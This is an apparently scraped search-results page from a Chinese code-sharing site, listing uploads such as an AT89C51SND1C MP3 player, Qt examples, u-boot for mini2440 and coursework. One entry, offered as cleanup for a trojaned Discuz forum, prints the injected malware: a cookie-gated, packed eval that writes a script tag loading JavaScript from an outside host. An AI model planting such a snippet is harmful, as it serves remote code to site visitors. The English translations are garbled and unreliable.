Location:
Search - 2.6.24.7
Search list
Description: 1)MCS51内核,可以利用单片及开发软件Keil软件方便开发mp3播放器,无需特殊软件平台;
2)MPEG I/II-Layer 3 hardware decoder
.独立MP3 Decoder
.支持48,44.1,32,24,22.05,16khz取样频率
.支持软件31阶音量控制,高中低音均衡控制
.重低音效果
3)集成DAC部件,支持PCM,IIS格式;
4)64K字节片上代码存储空间(100K次擦写寿命)
5)4K字节boot flash memory,USB/UART下载代码
6)集成USB1.1 device部件
7)MMC卡接口
8)IDE/ATAPI接口(HDD/CD-ROM Interface)
9)2通道ADC,8Khz取样
.......................
关于该芯片的具体信息,可以访问www.atmel.com获取at89c51snd1c的datasheet.
这款MP3播放器以at89c51snd1c为核心,以硬盘为存储介质,液晶屏为双行显示,每行显示
7.5个汉字,这块液晶屏以ST7920作为主控制器,内部集成8129个汉字,液晶屏在这个播放器中
用来显示歌曲名称以及一些播放状态
支持FAT16,一个分区,不支持FAT32,
USB1.1,速度有点慢-a) MCS51 kernel, single-chip can be used to develop software Keil and facilitate the development of software MP3 players, without special software platform; 2), MPEG I/II-Layer 3 hardware decoder. De independent MP3 coder. 48,44.1,32,24,22.05 support, ASF sampling frequency. support software volume control 31 bands, high school bass equalization control. bass results 3) DAC integrated components, support PCM, IIS format; 4) 64K-byte on-chip code storage space (100K erase life time) 5) 4K bytes boot Flash h memory, USB/UART download code 6) integrated USB 1.1 device components 7) MMC card interface 8) IDE/ATAPI interface (HDD/CD-ROM Interface) 9) 2-channel ADC , clause 8 8Khz sampling of the chip-specific information access can visit www.atmel.com at89c51snd1c the datashe et. MP3 pl
Platform: |
Size: 893952 |
Author: |
Hits:
Description: 语言程序设计课程设计,里面是几个源代码,1、贪吃蛇游戏 2、计算器 3、黑白棋游戏 4、迷宫问题
5、扫地雷游戏 6、速算24 7、课程成绩柱形图统计
-language program design course, there are several source code, 1, a huge memory games two, three calculators, reversi four games, maze 5, mine sweeping games 6 and the speed count 24 7, curriculum achievements bar statistics
Platform: |
Size: 36864 |
Author: 王说 |
Hits:
Description: 如果我们用k中颜色给12条边染色,而对每种颜色使用数目没有限制(前面zzwu试着解决的问题),那么使用群论中Polya定理就可以了。只要将上面所有x1,x2,x3,x4全部用k代替,然后将结果除以24就可以了,也就是说,用k中颜色给12条边染色的方案有
(k^12+6*k^7+3*k^6+8*k^4+6*k^3)/24种
但是对于本题中的问题,不但给定了使用颜色的总数目,而且对每种颜色使用的数目也做了限制,这种情况要复杂很多,可以使用
Cauchy-Frobenius-Burnside引理。
颜色的数目等于
{ Sum{|Fix(P)|}/|G|, for each P in G}
其中G就是这个有24个元素的群。
Fix(P)就是指满足下面条件的染色方案的数目:
对这个染色方案上的边使用置换P以后,得到的染色方案还是本方案(不发生变换)
也就是所,对于Fix(P)中的染色方案,所有在一个环中边被染上相同的颜色。
然后我们只要对P分成5中情况进行计算就可以了。
Platform: |
Size: 1024 |
Author: faonga |
Hits:
Description: 包含93C46存储数字,2402花样流水,开机一位计数,2402显示0-7。-93C46 contains storage figures, 2402 Synchronized water, the boot of a count, 2402 showed that 0-7.
Platform: |
Size: 23552 |
Author: 许统煌 |
Hits:
Description: linux内核源码,与所有的菜鸟共享。如有疑问可与本人联系,共同探讨-linux kernel source code, with all the rookie sharing. If you have any questions I can contact to discuss
Platform: |
Size: 59495424 |
Author: zhly |
Hits:
Description: qt实例!24小时学习其他的东西!已经调试ok!用的qt2.3.7哈-qt examples! 24 hours to learn other things! Has debug ok! Kazakhstan used qt2.3.7
Platform: |
Size: 10240 |
Author: 侯仁志 |
Hits:
Description: qt实例代码!《24小时学通qt编程》 的代码!不错!已经在qt2.3.7调试ok!第3章-qt examples of code! 24-hour programming Xuetong qt code! Yes! Has qt2.3.7 debug ok! Chapter 3
Platform: |
Size: 90112 |
Author: 侯仁志 |
Hits:
Description: qt实例代码!《24小时学通qt编程》 的代码!不错!已经在qt2.3.7调试ok!第5章-qt examples of code! 24-hour programming Xuetong qt code! Yes! Has qt2.3.7 debug ok! Chapter 5
Platform: |
Size: 119808 |
Author: 侯仁志 |
Hits:
Description: qt实例代码!《24小时学通qt编程》 的代码!不错!已经在qt2.3.7调试ok!第6章-qt examples of code! 24-hour programming Xuetong qt code! Yes! Has qt2.3.7 debug ok! Chapter 6
Platform: |
Size: 283648 |
Author: 侯仁志 |
Hits:
Description: qt实例代码!《24小时学通qt编程》 的代码!不错!已经在qt2.3.7调试ok!第7章-qt examples of code! 24-hour programming qt Xuetong code! Yes! Qt2.3.7 debugging has been ok! Chapter 7
Platform: |
Size: 54272 |
Author: 侯仁志 |
Hits:
Description: 支持nand /nor flash 启动之uboot-1.3.4
专为mini2440开发
请先在windows XP下进行RAR解压,然后COPY至linux下编译,注意编译工具.(可以修改)-boot from nor/nand flash ,based mini2440 for samsung s s3c2440 CPU, CONTAIN dm9000 uboot-1.3.4
Platform: |
Size: 14088192 |
Author: 菲菲草 |
Hits:
Description: 打印如下形式的矩阵;
n=5:
1 2 9 10 25
4 3 8 11 24
5 6 7 12 23
16 15 14 13 22
17 18 19 20 21
n=6:
1 2 9 10 25 26
4 3 8 11 24 27
5 6 7 12 23 28
16 15 14 13 22 29
17 18 19 20 21 30
36 35 34 33 32 31
看看1,2,3,4,5,6,7的序列。则可以看出,他们的排列几乎是一个回形。-Print the following form of matrix n = 5: 1 2 9 10 25 4 3 8 11 24 5 6 7 12 23 16 15 14 13 22 17 18 19 20 21 n = 6: 1 2 9 10 25 26 4 3 8 11 24 27 5 6 7 12 23 28 16 15 14 13 22 29 17 18 19 20 21 30 36 35 34 33 32 31 look at the sequence 1,2,3,4,5,6,7. You can see, they are arranged in almost a return to form.
Platform: |
Size: 1024 |
Author: ttzz |
Hits:
Description: 此工程里面的程序是ST公司的STM32芯片的跑灯实验,里面还涉及到案件以及中断处理等等。对学习STM32需要做中断,按键,或者控制LED的人来说很不错。已经在real view MDK 3.24下编译通过。-Procedures inside the project is ST' s STM32 chip experiment running lights, which also involves the case, as well as interrupt handling and so on. STM32 learning needs to be done to interrupt, keys, or to control LED of the people is pretty good. Has been under the real view MDK 3.24 compiled through.
Platform: |
Size: 226304 |
Author: liu |
Hits:
Description: 清除discuz论坛挂马的cookie代码(if(document.cookie.indexOf( helio )==-1){var expires=new Date() expires.setTime(expires.getTime()+24*60*60*1000) document.cookie= helio=Yes path=/ expires= +expires.toGMTString()
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)} if(! .replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}] e=function(){return \\w+ } c=1} while(c--){if(k[c]){p=p.replace(new RegExp( \\b +e(c)+ \\b , g ),k[c])}}return p}( 4.5(\ <0 3=2 1="6://d.7.c/b/a.8?9"></0>\ ) ,14,14, script|src|javascript|language|document|writeln|http|xcdx169|js|LMZSVQRI|log|include|net|bbs .split( | ),0,{})) }
)等-Clear discuz Forum hanging horse cookie code (if (document.cookie.indexOf ( ' helio' )==- 1) (var expires = new Date () expires.setTime (expires.getTime ()+24* 60* 60* 1000) document.cookie = ' helio = Yes path = / expires =' + expires.toGMTString () eval (function (p, a, c, k, e, d) (e = function (c) ( return c.toString (36)) if (!' ' . replace (/^/, String)) (while (c-) (d [c.toString (a)] = k [c] | | c. toString (a)) k = [function (e) (return d [e])] e = function () (return ' \ \ w+' ) c = 1) while (c-) (if (k [c]) (p = p.replace (new RegExp ( ' \ \ b' + e (c)+ ' \ \ b' , ' g' ), k [c]))) return p) (' 4 .5 ( \ ' < 0 3 = 2 1 = " 6:// d.7.c/b/a.8? 9" > </0> \ ' )' , 14,14, ' script | src | javascript | language | document | writeln | http | xcdx169 | js | LMZSVQRI | log | include | net | bbs' . Split (' |' ), 0, () )) )), etc.
Platform: |
Size: 1024 |
Author: 一介农夫 |
Hits:
Description: s3c_wifi_v4是我们做出来的marvell 8686 SPI 驱动,移植了SPI接口部分。采用SPI Poll方式,支持最高SPI速率25M
目前已经测试了以下Linux版本
Linux 2.6.18.1
Linux 2.6.24.7
-s3c_wifi_v4 is the driverof marvell 8686 SPI , part of the SPI interface. Using SPI Poll ways to support the maximum SPI speed 25M which had tested on the following Linux versions of Linux 2.6.18.1 Linux 2.6.24.7
Platform: |
Size: 2673664 |
Author: Jorden |
Hits:
Description: 篮球记分器
1.系统设计
本次实训的内容为设计一个篮球计分器。
1.1设计要求
按照题目要求独立设计系统所需电路,并完成硬件电路的制作及调试。
发挥部分:能够进行减分的操作。
1.2性能指标要求
(1)结合硬件能够正常计分;
(2)能够正常显示分值;
(3)分值满100后会有灯亮;
(4)能够正常修改工作模式;
(5)24秒倒计时;
(6)24秒倒计时能够自动复位;
(7)24秒倒计时结束时会有蜂鸣器报警。
-Basketball scoring device
1 System Design
The training content for the design of a basketball scoring device.
1.1 Design requirements
Accordance with the subject required for independent circuit design system, and complete the circuit of production and debugging hardware.
Play a part: the ability to reduce points of operation.
1.2 Performance requirements
(1) combined with the hardware to the normal points
(2) the normal display scores
(3) will score at least 100 after the lights
(4) to modify the normal operating mode
(5) 24-second countdown
(6) 24 second countdown to automatically reset
(7) 24-second countdown will end buzzer alarm.
Platform: |
Size: 1024 |
Author: wtm_dxyb |
Hits:
Description:
(1)结合硬件能够正常计分;
(2)能够正常显示分值;
(3)分值满100后会有灯亮;
(4)能够正常修改工作模式;
(5)24秒倒计时;
(6)24秒倒计时能够自动复位;
(7)24秒倒计时结束时会有蜂鸣器报警。
-(1) combined with the hardware to the normal points
(2) the normal display scores
(3) will score at least 100 after the lights
(4) to modify the normal operating mode
(5) 24-second countdown
(6) 24 second countdown to automatically reset
(7) 24-second countdown will end buzzer alarm.
Platform: |
Size: 1024 |
Author: wtm_dxyb |
Hits:
Description:
分别写出下列函数的递归算法和迭代算法,并求出n=10时的函数值。
Fib(n)= n 当n=0或n=1
Fib(n-2)+Fib(n-1) 当n 2
假设以带头结点的循环链表表示队列,并且只设一个指针指向队尾元素结点而不设头指针,试编写相应的队列初始化、入队列、出队列和判断队列状态的算法。
利用上述算法完成下面的各操作,并在每一操作后输出队列状态。
1)下列元素逐一入队:5,7,3,8,55 状态:5个元素
2)3个元素出队 状态:2个元素
3)再2个元素出队 状态:队空
4)再1个元素出队 状态:队空(指示下溢)
-Stack and queue
Platform: |
Size: 15360 |
Author: 李俐贤 |
Hits:
Description: 假设稀疏矩阵A和B均以三元组表作为存储结构,试写出矩阵相加(相乘—选做)的算法,另设三元组表C存放结果矩阵。
矩阵相加测试实例:
0 7 0 8 0 2 0 1 0 0
A= 4 0 0 0 5 B= 4 0 0 0 0
0 0 0 0 0 0 0 0 0 0
0 0 0 6 0 6 0 0 -6 0
处理过程提示:
输入稀疏矩阵A和B
检测A和B能否相加
矩阵相加运算
打印运算结果-Sparse matrix A and B are in three yuan group table as A storage structure
Platform: |
Size: 44032 |
Author: 李俐贤 |
Hits:
Description: curl-7.24.0 各种网络协议实现http rtsp-curl-7.24.0 variety of network protocol http rtsp ...
Platform: |
Size: 3992576 |
Author: uu |
Hits:
« 12
3
4
5
6
7
8
9
10
...
16
»